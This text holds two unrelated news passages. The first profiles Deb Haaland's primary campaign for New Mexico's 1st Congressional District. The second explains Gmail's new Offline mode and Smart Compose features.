But she’ll need a clear vision as she vies for the 1st Congressional District nomination, facing a competitive primary after incumbent Democrat Michelle Lujan Grisham left to run for governor. The state GOP declined to comment on the left-leaning district race, but Haaland’s main challenge is New Mexico law professor Antoinette Sedillo Lopez, who outraised her $ 200,000 to $ 152,000 in the first reporting period (Haaland notes her opponent had an extra month to fundraise after announcing her campaign earlier).

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A national Bernie backlash might hurt longtime party operatives like Haaland — who may be especially vulnerable after a handful of Sanders supporters called for her ouster after she withdrew a state convention straw poll the day it was scheduled in March 2016 over concerns that folks might cheat. “There are a whole lot of people who were witness to it and won’t forget,” says Kathleen Burke, a national DNC convention delegate from Albuquerque, who believed it was part of an effort to undermine Sanders. Current state chair Richard Ellenberg says the straw poll had been publicized, and pulling it “was very unhelpful,” even if he felt the party did its best to remain neutral. “There are always people who are upset with whomever is leading,” Forrester says, before pointing to Haaland’s success in flipping the Statehouse: “I guess Richard has another definition of what helpful is.”

Meanwhile, Haaland draws attention to what she sees as more important concerns, such as a recent rally that saw hundreds gather in Albuquerque to support DACA immigrants. The Pueblo woman works the crowd, but doesn’t deliver a speech: It’s not her struggle today, she knows. And yet it’s another reminder of her own people’s fight to be recognized. There’s not enough discussion on how debates around fracking and public lands affect tribal people like herself, she says: “I don’t think they’re really talking about that.” Give her a year, though, and she may very well push that conversation forward — bringing to Washington a voice Capitol Hill has never heard.

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You might have access to Google’s native Offline mode very, very soon if it hasn’t landed on your account yet. The feature, which debuted as part of Gmail’s redesign at Google I/O, has started rolling out to users. If you’re using a work or school account, your Google admin will have to enable it in G Suite first. But if you have an ordinary account, you’re bound to get it in the near future: to activate it, go to Settings, find the Offline tab and tick “Enable offline mail.” Take note that you’ll only see the option in the new Gmail (and not in the old interface) and if the browser you’re using is Chrome 61 or later.

Gmail’s native Offline mode works by syncing your account as soon as an internet connection becomes available. You’ll be able to write emails, archive or delete stuff offline and know that they’ll get sorted out later — you can also choose whether to download and keep offline data on your computer even if you log out. You can now also take Smart Compose for a spin, if that’s what you’re looking forward to. Unlike Offline mode, though, you’d have to enable access to experimental features to start getting phrase and sentence suggestions based on previous emails.

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